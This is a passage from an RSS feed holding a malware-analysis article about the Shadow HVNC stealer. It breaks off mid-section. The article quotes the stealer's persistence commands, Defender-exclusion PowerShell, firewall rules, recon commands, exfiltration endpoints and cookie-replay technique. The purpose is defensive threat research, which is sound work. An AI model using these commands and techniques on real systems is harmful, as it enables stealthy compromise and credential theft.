<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Malbear Labs on Medium]]></title>
        <description><![CDATA[Stories by Malbear Labs on Medium]]></description>
        <link>https://medium.com/@malbearlabs?source=rss-6a3005ed0ee2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*2yK9-hq7EL5gkSySotYguw.png</url>
            <title>Stories by Malbear Labs on Medium</title>
            <link>https://medium.com/@malbearlabs?source=rss-6a3005ed0ee2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 06:57:25 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@malbearlabs/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Shadow HVNC and Shadow Loader: The Kit That Protects Its License Better Than Its Customers]]></title>
            <link>https://medium.com/@malbearlabs/shadow-hvnc-and-shadow-loader-the-kit-that-protects-its-license-better-than-its-customers-dd99520b6af3?source=rss-6a3005ed0ee2------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd99520b6af3</guid>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Malbear Labs]]></dc:creator>
            <pubDate>Tue, 18 Aug 2026 00:08:37 GMT</pubDate>
            <atom:updated>2026-08-18T00:50:12.308Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jmgh-5BkZ1lLIkJBeVdErw.png" /></figure><p>Ransomware gets the headlines because it&#39;s loud: it kicks the door wide open, encrypts everything, and leaves a &quot;love&quot; note, and the bill for the week or month runs into the millions. Stealers and loaders work the opposite shift. They don’t announce themselves; they don’t want your files locked — they want your sessions, your cookies, your saved logins, your API keys, your 2FA backup codes, and a quiet channel back whenever the operator feels like browsing your machine. And that is exactly why they are underestimated. A ransomware incident is one bad week with a recovery plan; a stealer infection is every account the victim ever logged into, harvested in minutes and sold or reused for months afterward, while a loader turns that initial foothold into whatever the operator wants next.</p><p><strong><em>Acknowledgments</em></strong>: Thank you <a href="https://x.com/dodo_sec">Dodo</a> for the VirusTotal loot ❤</p><p>On March 21, 2026, the user “RemoteX” published an advertisement on the forum selling the Shadow HVNC stealer, claiming it to be the best HVNC on the market. We will go ahead and destroy that myth today.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*Mz5DJuNNvpQQbaIVRePVyw.png" /><figcaption>Shadow HVNC advertisement poster</figcaption></figure><p>Here is how the author describes the functionalities of the HVNC / stealer:</p><ul><li><strong>Data Grabber:</strong> Cookies (JSON + TXT Netscape format), passwords, autofill forms, user information</li><li><strong>Cleanliness:</strong> No plaintext strings in the binary (everything resolved at runtime), weekly cleanup routines, easy to crypt/pack</li><li><strong>Persistence:</strong> Very difficult to kill + extreme persistence mechanisms</li><li><strong>Geo-block:</strong> CIS countries (excludes Commonwealth of Independent States — a common tactic to avoid prosecution in the operator’s home region)</li></ul><p><strong>Core Functionality:</strong></p><ul><li><strong>Hidden VNC</strong> — Full hidden Chrome remote-control mode + Chrome session parsing</li><li><strong>Keylogger</strong> — Captures everything the victim types, with enhanced formatting and stealth mode</li><li><strong>File Manager</strong> — Browse, download, and upload any files</li><li><strong>Process Manager — </strong>Kill processes and gain full control over running programs</li><li><strong>Grab New Browser Data</strong> — Refresh cookies and fresh sessions in one click</li><li><strong>Deploy New EXE</strong> — Remotely execute any .exe on the victim’s machine</li><li><strong>Notes</strong> — Per-victim notes (PayPal accounts, crypto wallets, etc.)</li><li><strong>Telegram Notifications</strong> — Instant alerts on new connections sent directly to the operator’s Telegram</li><li><strong>Audio alert</strong> when a new client connects</li><li><strong>AFK Timer</strong> — Shows victim idle time</li><li><strong>Screenshot on connection</strong> logged automatically</li><li><strong>Improved clipboard sync</strong> and multi-monitor support</li><li><strong>Checker and sorter</strong> that validates cookie freshness</li><li><strong>Stealer</strong> compatible with many popular checkers</li><li><strong>Session grabber</strong> for Telegram, Steam &amp; Discord</li><li><strong>Custom proxy/relay layer</strong> support for builds</li></ul><p>This build implements nearly everything the sales thread advertises but several features are defective in ways that are individually verifiable. Its banking watcher is built on Windows DNS event tracing, but a one-digit typo in the subscription filter means it has never received a single event; what actually triggers is a fallback that reads window titles every 15 seconds, and it can be triggered on demand by naming any window, e.g.paypal.com. Its Yandex cookie decryptor uses the wrong Windows API for modern browser encryption and recovered zero of 137 cookies in testing, while the password extractor right beside it implements the current scheme correctly.</p><p>We will be looking at the latest v.5.5 build, which is 16.4 MB in size.</p><p>The listing for this HVNC stealer brags <strong><em>“Нет открытого текста в бинарнике (всё в runtime)”</em></strong> -<strong><em>“no plaintext in the binary, everything at runtime”</em></strong> plus weekly cleanings and easy crypting. The artifact actually disagrees: a 91 KB plaintext target list with its own commented header, a plaintext C2 slot behind a RXMAGIC_C2HOST: marker, every log tag, URL and API path in cleartext, the developer&#39;s own build paths (C:/Users/Laraib/Desktop/work/privatetools/RemoteX/Watchdog) is in the panic metadata, over a thousand of untouched Go symbol names, and three unencrypted embedded PEs. What the ad actually means is that the stub are built naked because customers are expected to run it through their own crypter — <strong><em>&quot;легко криптиться&quot;</em></strong> is the honest half. The <strong><em>&quot;no plaintext&quot;</em></strong> half is for buyers who don&#39;t open binaries and double-check.</p><p>This article is a technical analysis of how the payload is configured, the recon commands it runs, how it dumps LSASS through a tiny importless tool called lss.exe(we will talk about this one later), the banking-domain surveillance mechanism, the reverse-proxy pivoting kit, and the persistence mechanisms keeping it alive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e5qOlVwQ-w1TDkAGPYzs8g.png" /><figcaption>LSASS dumping with lss.exe</figcaption></figure><h3>Technical Analysis of Shadow HVNC</h3><p>The HVNC stealer payload is about 16MB in size, written in Go with no obfuscation and no packer. The developer built it with every function readable — main.runCredDump, main.collectGPPPasswords, main.startDomainWatcher, etc. The C2 address is hardcoded in the build after the marker RXMAGIC_C2HOST:.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*1ju7tRpe74msUWOuYQ0UWw.png" /><figcaption>All the function names in cleartext</figcaption></figure><h4>Client ID Generation</h4><p>The victim identifier is built in three steps: the payload reads the machine’s first MAC address and its hostname and joins them into the string &quot;&lt;mac&gt;-&lt;hostname&gt;&quot;; it hashes that string with MD5, which always produces a 16-byte digest; and it formats the first 8 bytes of the digest as uppercase hexadecimal — 8 bytes × 2 hex characters each = 16 hex characters — prefixed with RX-, for example RX-BF3332A3A7EFAC25.</p><h4>Mutex</h4><p>Before anything else runs, the payload claims a named Windows mutex via main.acquireInstanceLock. A named mutex is a Windows kernel object that only one process can hold at a time, and names under the Global\ prefix are visible across all user sessions on the machine, ensuring only one instance of the payload is running. The function formats the mutex name as Global\RemoteX_&lt;client ID&gt; and calls CreateMutexW.</p><h4>The Startup Mess</h4><p>Decompiling main.main gives a clean view of what happens after the instance mutex is acquired.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jHQoNw7nHHNVWcyNZWQENA.png" /><figcaption>Snippet of main.main function</figcaption></figure><p>Let’s look at some of the interesting artifacts it leaves behind:</p><ul><li>generateSessionID — builds the victim’s stable client identifier (described under the Client ID Generation section above).</li><li>Persistence chain (if enabled by the user in the builder component), which consists of isServiceInstalled, installService, and addToStartup. Each stage runs only if the previous stage returned an error, and any one success is enough to survive reboot:</li></ul><p><strong>Step 1:</strong><em> copy itself to a fixed path.</em><strong><em> </em></strong>installService starts by calling main.copySelfToPersistentPath(). The function resolves its own path with os.Executable(), builds %LOCALAPPDATA%\Microsoft\Windows\ (os.Getenv(&quot;LOCALAPPDATA&quot;) plus filepath.Join), creates the tree with os.MkdirAll, and copies the running binary into it under its own file name (filepath.Base). Every autostart entry created afterward references this copy, so the originally launched file can be deleted without affecting persistence.</p><p><strong>Step 2:</strong> <em>register a Windows service.</em><strong><em> </em></strong>Still inside installService, the payload talks to the local Service Control Manager through Go&#39;s golang.org/x/sys/windows/svc/mgr package — no sc.exe child process. It calls OpenService(&quot;winSvc&quot;); if that succeeds, it closes the handle and returns the error &quot;service already installed&quot;. Otherwise, CreateService registers winSvc with start type 2 (SERVICE_AUTO_START), the binary path pointing at the copy from step 1, and the display name set to &quot;mouse driver service&quot;, a masquerade meant to look like a benign driver component in services.msc. Service creation requires administrator rights, so on a standard-user infection this is the stage that fails.</p><p><strong>Step 3:</strong><em> fall back to user-mode autostarts.</em> If service installation fails, typically because the process lacks administrator rights, main.addToStartup() runs and attempts four independent mechanisms, all pointing at the %LOCALAPPDATA% copy:</p><ul><li>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with value name RemoteX.</li><li>HKCU\Environment, value name UserInitMprLogonScript, a good ole Winlogon logon-script value that causes userinit.exe to launch the payload at every interactive logon. It needs no privileges and is watched far less often than the Run key.</li><li>main.addStartupFolderShortcut — creates WindowsSystemComponent.lnk in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\. The shortcut is built by a hidden PowerShell child process: powershell -NonInteractive -WindowStyle Hidden -NoProfile -Command &quot;$s=(New-Object -COM WScript.Shell).CreateShortcut(&#39;&lt;lnk&gt;&#39;);$s.TargetPath=&#39;&lt;copy&gt;&#39;;$s.WindowStyle=7;$s.Save()&quot;, with HideWindow=1 and CreationFlags=0x8000000 (CREATE_NO_WINDOW) on the process attributes.</li><li>Three scheduled tasks, each registered through main.runHiddenClient with /f (force overwrite) and /rl HIGHEST: MicrosoftWindowsManagementClient (/sc ONLOGON), MicrosoftWindowsManagementClientBoot (/sc ONSTART), and MicrosoftWindowsManagementClientPerf (/sc MINUTE /mo 5) — the third is a keep-alive that relaunches the payload every five minutes regardless of logon events.</li></ul><p>For Step 3, at the end of addToStartup, main.isElevated() checks for administrator rights and if it has them, a second, machine-wide set of autostarts is installed in the background.</p><p>With administrator rights the payload makes a second copy of itself under %PROGRAMDATA%\Microsoft\Windows\ (main.copyToProgramData), writes the same RemoteX value to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, drops WindowsSystemComponent.lnk into the all-users Startup folder (%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\StartUp\) using the same hidden PowerShell COM method, registers two further tasks — MicrosoftWindowsManagementClientSystem (/sc ONLOGON) and MicrosoftWindowsManagementClientSystemBoot (/sc ONSTART), both with /ru SYSTEM /rl HIGHESTand logs [PERSIST] all-users layers installed.</p><p><strong>Step 4:</strong> <em>run it anyway.</em> If every mechanism fails, the payload does not exit; it logs &quot;Service install failed: %v. Trying startup registry...&quot;, &quot;Startup registry failed: %v. Running normally...&quot; and continues without persistence.</p><p>Now back to artifacts:</p><ul><li>addClientFirewallRule contains three netsh calls. The first is netsh advfirewall firewall delete rule name=&quot;RemoteX Client&quot;, which removes any rule left by a previous install so repeated installations do not accumulate duplicates. The next two run with the window hidden (HideWindow=1 on the process attributes) and create the allow rules: netsh advfirewall firewall add rule name=&quot;RemoteX Client&quot; dir=out action=allow program=&lt;own exe path&gt; and the corresponding name=&quot;RemoteX Client In&quot; dir=in rule. The rules are bound to the executable&#39;s path rather than to ports, so all of the stealer’s traffic is permitted by the host firewall before the first connection is made.</li><li>setDPIAware — calls SetProcessDPIAware, so Windows reports true screen pixels instead of a scaled-down coordinate space. Without it, on any display running at 125%+ scaling, the HVNC screenshots would be captured at the wrong coordinates and operator clicks would land offset from where they were aimed.</li><li>initTurbo loads turbojpeg.dll and initializes libjpeg-turbo&#39;s SIMD-accelerated JPEG encoder (&quot;[TURBO] Loaded from: %s ... SIMD JPEG active&quot;). This is the encoder used for the continuous screen-capture stream, where per-frame encoding cost matters. The DLL search path includes C:\libjpeg-turbo64\bin\turbojpeg.dll.</li><li>shouldRunSystemHarvest — used for the one-time bulk collection. It evaluates two markers: the environment variable REMOTEX_MULTIUSER_HARVEST, and the registry value MultiUserHarvest under HKLM\SOFTWARE\RemoteX. The harvest proceeds only if the registry flag indicates it has not run on this machine before.</li><li>runService, runWatchdogService, runClient are the dispatchers. The same binary runs in one of three modes depending on how it was started: as the winSvc Windows service via the SCM entry point, as the watchdog instance when invoked with --guard, or as the plain interactive client. All three modes converge on connectAndRun, which performs the geo-fence check, spawns the domain watcher, and enters the C2 main loop.</li></ul><h3>Before Anything Else: Neuter the Defenses</h3><h4>Defender tampering</h4><p>Shadow HVNC adds its install path and process name to Windows Defender’s exclusion lists, trying PowerShell first — Add-MpPreference -ExclusionPath and -ExclusionProcess under powershell -ExecutionPolicy Bypass and falling back to a direct registry write only if that fails (&quot;[DEFENDER] PowerShell failed (%v) — trying registry fallback&quot;). The fallback uses Defender&#39;s own on-disk schema: under HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths, it creates a value named the install path. Both methods require administrator rights; the cmdlet needs elevation, and the write goes to HKLM, so a standard-user infection gets no exclusions at all and simply runs unprotected.</p><pre>Add-MpPreference -ExclusionPath &#39;%s&#39; -Force<br>Add-MpPreference -ExclusionProcess &#39;%s&#39; -Force<br>[DEFENDER] exclusion added via PowerShell: %s<br>[DEFENDER] exclusion added via registry: %s</pre><h4>Geo-fencing</h4><p>&quot;[GEO] blocked country %s — sleeping&quot; — Shadow HVNC geolocates the victim (via http://ip-api.com/json/?fields=countryCode) and sleeps indefinitely if the country lands on a blocklist, the standard “don&#39;t infect the home team” pattern in commodity malware. The blocklist looked runtime-built at first, but it is a Go package-level map literal: main.map.init.0 builds a map[string]bool from thirteen 2-letter keys read straight out of a 26-byte run in .rdata, which means the excluded countries are recoverable byte-for-byte: ZA, RU, UA, BY, KZ, UZ, TM, TJ, KG, AZ, AM, GE, MD. Twelve of the thirteen cover Russia and the CIS states, consistent with an operator in that region steering clear of domestic victims and domestic law enforcement. The thirteenth, South Africa, breaks the pattern; it fits a second habit seen in some malware: excluding victims deemed low-value rather than ones deemed legally risky. The blocklist check obviously happens before anything else runs in the payload, while getCountryCode is reused elsewhere for a different purpose, tagging every exfil upload (/api/upload-creds?id=%s&amp;country=%s&amp;ts=%s, /api/domain-screenshot?id=%s&amp;domain=%s&amp;country=%s) so the panel can sort victims by country.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*os16uL_AItBuLEFsrHS5Iw.png" /><figcaption>CIS countries being excluded</figcaption></figure><p>Also, a small finding: the payload carries a dedicated dismissal routine for Windows’ out-of-box-experience UI (main.oobeKillS4), aimed at CloudExperienceHost.exe, the one process that renders every first-run and post-update screen, from the “Let&#39;s finish setting up your device” prompt to the privacy consent pages (pretty sure you have seen them during Windows setup). It works in stages rather than as a simple kill: first it tries to pre-empt the UI entirely by writing PrivacyConsentStatus=1 under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\OOBE ([OOBE] S3: registry PrivacyConsentStatus=1), then it locates the OOBE window and kills its owning PID ([OOBE] S0: killed pid=%d), then sweeps the process list for anything named CloudExperienceHost.exe as a catch-all ([OOBE] S1: killed %s pid=%d), and finally re-checks after 300 ms, reporting OOBE Cleared or OOBE Partial to the panel — with [OOBE] still present (need admin?) if the HKLM write or the kill didn’t work. The routine fires automatically whenever the operator launches an application through the panel (polling up to ten times to make sure the OOBE screen doesn&#39;t compete with the operator&#39;s window) and can also be triggered manually from the panel ([OOBE] manual kill triggered). The motive is the same either way: keep unexpected system UI off the victim&#39;s desktop while the operator is connected, so nothing on screen hints that something unusual is happening.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vrd4UP2a8ot-1SjCkaBpqA.png" /><figcaption>The S0 stage logging &quot;[OOBE] S0: killed pid=%d&quot; after terminating the OOBE window&#39;s owner process (main.oobeKillS4 function)</figcaption></figure><h3>Command &amp; Control: The Wire Protocol</h3><p>Time to talk about how this thing actually communicates. The architecture is pretty straightforward here: WebSocket for everything interactive, plain HTTP for everything heavy. No TLS anywhere here; the developer expects the panel to live on a trusted network or behind an external tunnel.</p><h4>Two WebSockets</h4><p>The primary channel is established by main.connectToHost:</p><ul><li>ws://&lt;C2&gt;/ws/client?id=&lt;client ID&gt;</li></ul><p>The moment it connects, Shadow HVNC introduces itself by sending the SystemInfo message (the fingerprint from recon: CPU, RAM, MAC, IPs, locale, elevation state, country), logged as &quot;Failed to send initial system info: %v&quot; on failure, and then settles into the loop. If the loop breaks, the payload retries indefinitely with a logged message: &quot;[CONN] error: %v — retry in %v&quot;. There is no jitter, no sleep schedule, no domain rotation; the payload attempts to maintain the connection continuously, backing off with increasing delays between attempts (observed in a live run: roughly 3 s, then 6 s, then 13 s).</p><p>The second WebSocket serves the backstage browser sessions, but it does not exist until the operator asks for it:</p><ul><li>ws://&lt;C2&gt;/ws/backstage-src?target=&lt;browser&gt;&amp;generation=&lt;n&gt;</li></ul><p>When the operator clicks <strong>Backstage Mode</strong> in the panel, a start_backstage control message is sent over the primary channel ([BS] received start_backstage gen=%s — launching session). Only then does the payload open a separate hidden desktop ([BS] opening desktop &quot;RemoteXBackstage&quot;), launch the requested browser onto it, and dial /ws/backstage-src ([BS] dialing %s -&gt;[BS] dial SUCCESS gen=%s). While the session is live, that socket carries the heavy traffic — the capture, encode, write loop streaming the hidden browser&#39;s frames and the input loop feeding the operator&#39;s clicks back. Sessions are paired by a generation counter: duplicate starts are ignored ([BS] already running gen=%s), and stops are validated against it ([BS] stop ignored — gen mismatch), so a stale panel cannot tear down a newer session. When the operator stops the session, stop_backstage gets on the primary channel ([BS] stopped by server request), the loops end ([BS] backstage desktop session ended), and the second socket closes until the next click.</p><p>There’s also a quieter third channel: main.runSecondaryConnection ([S2]) — a status link that reports service and process lifecycle events back to the panel with fields like exit_type, exited_cleanly and Crashed, with its own retry loop (&quot;[S2] connect failed: %v — retry in %s&quot;). That&#39;s how the panel knows the payload died versus merely lost a connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/238/1*S9y6ZPT36KIdGWExqBHNZA.png" /><figcaption>Backstage Mode in the panel</figcaption></figure><h4>Frame format: a 7-byte header</h4><p>Everything on the main socket is in binary frames with a fixed 7-byte header:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/4bc5b0829ee03aa808921d440e74c0f6/href">https://medium.com/media/4bc5b0829ee03aa808921d440e74c0f6/href</a></iframe><p>“Dirty-rect” (dirty rectangle) is a screen-streaming optimization. Sending the entire desktop as a fresh screenshot 10+ times a second would flood the connection, and 95% of the pixels usually didn’t move. So instead, the payload compares the new capture against the previous one and ships only the rectangles where pixels actually changed, the “dirty” regions. The flag tells the panel how to interpret the payload it’s about to receive: flags=1 means “this is a partial update, a set of changed rectangles, composite them onto the last full frame”; flags=0 on a screen frame means “this is a complete frame, replace everything”. That’s how the HVNC live view stays crisp without saturating the victim’s upload. Control and proxy frames have no notion of changed regions, so their flags word is always 0.</p><p>Inbound message types (from server to payload):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3db581f84be87c62ecdbbc02feaf5dbb/href">https://medium.com/media/3db581f84be87c62ecdbbc02feaf5dbb/href</a></iframe><p>Anything else is rejected (&quot;unknown message type: %d&quot;), and a frame shorter than its header is dropped (&quot;Received malformed packet (len=%d)&quot;).</p><p>Outbound message types (from payload to server):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/380f511650edbb65ba2dadb1f977eae4/href">https://medium.com/media/380f511650edbb65ba2dadb1f977eae4/href</a></iframe><p>Type 0x06 is the JSON channel: its payload is a JSON object, and it carries slower, less time-critical traffic, for example, control acknowledgments and errors, webcam_frame snapshots, clipboard_update events from the clipboard poller, file_upload_result and data_uploaded notices, keystroke_log batches. Anything that has to move fast and parse trivially — screen video, operator input, proxy bytes — gets its own compact binary type, while everything else comes as readable JSON inside 0x06.</p><p>The hidden-desktop stream actually has two codecs, and the second one is easy to miss. JPEG (full frames plus dirty-rect deltas, type 0x0D) is the baseline. But the preferred mode is H.264, a video codec with temporal compression, so motion costs a fraction of the JPEG bandwidth, streamed as type 0x0E (MSG_HIDDEN_H264). The encoder is Cisco&#39;s OpenH264 via the Go binding github[.]com/y9o/go-openh264, and it is not embedded: if openh264-2.4.1-win64.dll isn&#39;t present, the payload downloads it on demand from Cisco&#39;s official CDN (hxxp://ciscobinary.openh264[.]org/openh264-2.4.1-win64.dll.bz2, logged as &quot;[H264] Downloading OpenH264 %s from Cisco CDN...&quot;) before starting the encoder (&quot;[H264] Started OpenH264 encoder (%dx%d)&quot;). If the download or encoder init fails (&quot;[H264] DLL unavailable: %v&quot;, &quot;WelsCreateSVCEncoder failed: %d&quot;), nothing breaks — it logs &quot;[H264] Encoder init failed, falling back to JPEG: %v&quot; and the operator keeps watching over the JPEG path.</p><p>Command dispatch is under main.handleControl function. Decoding the constants recovers the full operator command set in the latest 5.5 build.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*IG-O1po2KoUAGyTsr6g6JQ.png" /><figcaption><em>The command string </em>is compared as raw integer chunks, decoded little-endian — <em>the constants spell “</em><em>start_backstage&quot;.</em></figcaption></figure><p>Beyond the standard RAT / stealer shenanigans (run_file, file_list, file_upload, file_download, get_processes, kill_process, start_terminal, start_proxy, start_socks5, lock, restart, shutdown, webcam_snap, kill_switch), and the HVNC family (start_browser, browser_nav, scan_browsers, switch_browser, switch_display, hidden_launch, set_hidden_mode, input_mode, inject_cookies, quality), 5.5 adds the interesting ones:</p><ul><li>dump_creds — triggers the LSASS chain (this is the one we&#39;ll follow down the rabbit hole)</li><li>start_backstage<strong> </strong>and stop_backstage — a live interactive browser session streamed over that second WebSocket we mentioned above, /ws/backstage-src</li><li>hd_window_action — window manipulation on the hidden desktop</li><li>get_chrome_profiles — enumerate browser profiles for the operator&#39;s menu</li><li>refresh_steam_token — re-harvest Steam session tokens on demand</li><li>back<strong>,</strong>forward<strong>,</strong>reload — browser navigation primitives</li></ul><p>Four commands from that list deserve a closer look here.</p><ul><li>inject_cookies<strong> — replaying stolen sessions inside the hidden browser</strong>. Shadow HVNC answers the panel with {&quot;type&quot;: &quot;cookies_injected&quot;, &quot;count&quot;: N}, but the interesting part is what happens before that. Stolen cookies are not injected at harvest time. Everything the stealer pulls from the victim&#39;s browsers lands in an in-memory pending list, a mutex-guarded slice that main.syncCookies keeps topped up in the background ([COOKIE] sync complete: %d cookies ready for injection). When the operator triggers inject_cookies, the batch is usually already waiting. If the hidden browser’s DevTools connection isn’t up yet, nothing fails and nothing is dropped: the payload logs [COOKIE-DBG] injectStoredCookies: CDP not connected yet ... will inject on connect and returns, leaving the batch queued. When the hidden browser later starts and the CDP client attaches, the queue flushes automatically ([HD-CDP] injecting %d pending cookies into fresh browser session...). The operator can trigger the command before the hidden browser even exists. main.injectCookiesViaCDP packs the whole batch into a single DevTools JSON-RPC frame - {&quot;method&quot;: &quot;Network.setCookies&quot;, &quot;params&quot;: {&quot;cookies&quot;: [...]}} with each cookie carrying name, value, domain, path, httpOnly, and sameSite defaulting to Lax. The frame goes through main.hdCDPSend, the payload’s WebSocket client that talks to the hidden ChromeDevTools endpoint on 127.0.0.1:&lt;debug-port&gt;. Chrome treats Network.setCookies as a browser-internal call and writes the entries into its cookie store exactly as if each site had set them over HTTPS. Entries that fail validation are counted and skipped, not aborted - that is the (%d skipped) in [HD-CDP] injected %d cookies via Network.setCookies. The outcome is the operator opens the hidden browser, browses to the victim’s sites, and Chrome attaches the injected cookies to every request. Mail, banking, corporate SSO — every site sees an already-authenticated session, and the operator never touches a password or a 2FA prompt.</li><li>hidden_launch—<strong>arbitrary execution on the hidden desktop.</strong> Shadow HVNC first starts the hidden desktop if it isn’t active, then passes the request to the hidden desktop’s launcher, which returns &quot;hidden desktop not active&quot; if the desktop still isn&#39;t up. The launcher forwards the job to the hidden-desktop worker thread, and that worker does the actual spawn: before creating anything, it attaches its own thread to the hidden desktop (GetCurrentThreadId, GetThreadDesktop, SetThreadDesktop), and only then calls CreateProcess, so the child process comes up with its windows bound to the hidden desktop from its very first instruction. The desktop itself is a Win32 desktop object named RemoteXHidden. Failure paths log &quot;Cannot launch on hidden desktop: %v&quot; and &quot;Hidden launch failed: %v&quot;. The hidden desktop is not just for browsers: the operator can spawn cmd, PowerShell, or a second-stage binary where nothing ever appears on the victim&#39;s screen.</li><li>hd_window_action —<strong> window management for the hidden browser.</strong> The payload’s handler takes an action string from the JSON and acts on the hidden browser&#39;s window: restore calls ShowWindow with SW_RESTORE, maximize calls it with SW_MAXIMIZE, and fit_screen takes a different path; it queries the desktop dimensions with GetSystemMetrics and then resizes the window with MoveWindow. The frame-capture thread screenshots whatever the window actually renders, so these three actions are how the operator controls the resolution and layout of the stream they are watching, without the victim&#39;s monitor ever showing a pixel of it. If no browser window exists on the hidden desktop yet, the handler returns &quot;[HD-WIN] hd_window_action: no browser HWND&quot;.</li><li>set_hidden_mode —<strong> the panel’s on/off switch for hidden mode.</strong> The command takes a bool: on or off. When the operator switches it on, the payload first tries the normal approach — spin up the hidden desktop so the operator works in a parallel invisible session. If the hidden desktop can’t start, it doesn’t give up: it logs &quot;Hidden desktop failed (%v), falling back to legacy mode&quot; and reaches for the trick Shadow HVNC used before hidden desktops existed — take over the victim&#39;s real session, but blind them first. Two Windows calls do that: BlockInput(1) freezes the victim&#39;s keyboard and mouse, and SendMessageW with SC_MONITORPOWER lParam 2 powers the physical monitor off. From the victim&#39;s chair, the computer looks asleep, a black screen that ignores everything they type, while the operator clicks around their actual desktop from the panel. Switching the mode off undoes exactly that: BlockInput(0) hands the keyboard and mouse back, and the same message with lParam -1 wakes the monitor.</li></ul><h4>The HTTP exfiltration channel</h4><p>Bulk data never touches the WebSocket; it goes out as ordinary HTTP POSTs, each endpoint parameterized with the client ID and the victim’s country code:</p><ul><li><em>POST /api/upload-data?id=&lt;client ID&gt;&amp;country=&lt;cc&gt;</em> — the harvest ZIP (application/zip)</li><li><em>POST /api/upload-creds?id=&lt;client ID&gt;&amp;country=&lt;cc&gt;&amp;ts=&lt;ts&gt;</em> — LSASS dump (zlib; ts = Go layout “2006–01–02_15–04–05”, e.g. 2026–07–26_04–56–53)</li><li><em>POST /api/keylog</em> — keylog flushes</li><li><em>POST /api/domain-screenshot?id=&lt;client ID&gt;&amp;domain=&lt;d&gt;&amp;country=&lt;cc&gt;</em> — banking captures</li><li><em>GET /api/download-data?path= </em>— operator file pulls</li></ul><p>One caveat for anyone reading sandbox reports (check out <a href="https://tria.ge/260328-scab6sbz8s/behavioral2">this one</a> from Tria.ge): these POSTs only happen after the WebSocket handshake succeeds. The harvest goroutines spawn only after the /ws/client connection succeeds, and the initial SystemInfo message is sent. Against a dead or refusing C2, the payload produces nothing but /ws/client retries, which is exactly why automated sandbox reports for this family typically list only the WebSocket URL and none of the /api/* exfiltration endpoints.</p><h3>The Recon Engine: Every Command It Runs</h3><p>Every recon command is assembled as a Go string slice and passed through a shared helper, main.runCmd, which wraps os/exec with a timeout. Decompiling main.collectPrivilegesFile shows the pattern clearly. The function builds an array of task structs — output filename, a pretty header, and the command arguments, then loops through them with a sync.WaitGroup:</p><pre>v75 = &quot;WHOAMI /ALL — TOKEN, GROUPS, PRIVILEGES, SID&quot;;<br>v74 = &quot;whoami_all.txt&quot;;<br>args[0] = &quot;cmd&quot;;        // &amp;unk_140AE69C0, len 3<br>args[1] = &quot;/c&quot;;         // &amp;unk_140AE6747, len 2<br>args[2] = &quot;whoami&quot;;     // aFalseiexclpoun+1279, len 6<br>args[3] = &quot;/all&quot;;       // &quot;/alluser.rdp&quot;, len 4</pre><p>Decoded across collectPrivilegesFile and collectLateralMovement, the complete command list:</p><pre>cmd /c whoami /all - whoami_all.txt<br>cmd /c whoami /priv - whoami_priv.txt<br>cmd /c net user &lt;current_username&gt; - net_user.txt<br>cmd /c net user - local_users.txt<br>cmd /c net localgroup administrators - local_admins.txt<br>cmd /c arp -a - network_map.txt<br>cmd /c net use - network_map.txt<br>cmd /c net group &quot;Domain Admins&quot; /domain - domain_admins.txt<br>cmd /c net view /domain - domain_computers.txt<br>cmd /c cmdkey /list - saved_credentials_cmdkey.txt</pre><p>Each output file gets a vibe-coded header written before the command output -&quot;NETWORK MAP — ARP CACHE + MAPPED DRIVES&quot;, &quot;DOMAIN ADMINISTRATORS&quot;, &quot;VISIBLE DOMAIN MACHINES&quot;, &quot;CURRENT USER ACCOUNT DETAILS&quot;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*U_wQL_ojoYROLmi2Xmlovw.png" /><figcaption>local_admin.txt content (Don’t mind me using Notepad++)</figcaption></figure><p>Read that list the way a threat actor would read it: who am I, what can I touch, who else is here, and where do I go next (you got it)<strong>.</strong></p><p>The recon doesn’t stop at cmd. Running in parallel, more data is collected:</p><ul><li><strong>RDP history in three ways: </strong>The MRU is read from the registry — HKCU\Software\Microsoft\Terminal Server Client\Default and HKCU\Software\Microsoft\Terminal Server Client\Servers and formatted into mru_hosts.txt with a &quot;[Most Recently Used]&quot; header. The filesystem is searched recursively for *.rdp files (Default.rdp, user.rdp, alluser.rdp patterns). And the DPAPI-encrypted credential blobs are exfiltrated from the user&#39;s Credentials directory with &quot;[rdp] ✅ Collected %d encrypted credential files&quot;.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*o_uHXzG00WRaZ-VPZArO4Q.png" /><figcaption>mru_hosts.txt content</figcaption></figure><ul><li><strong>RDP event 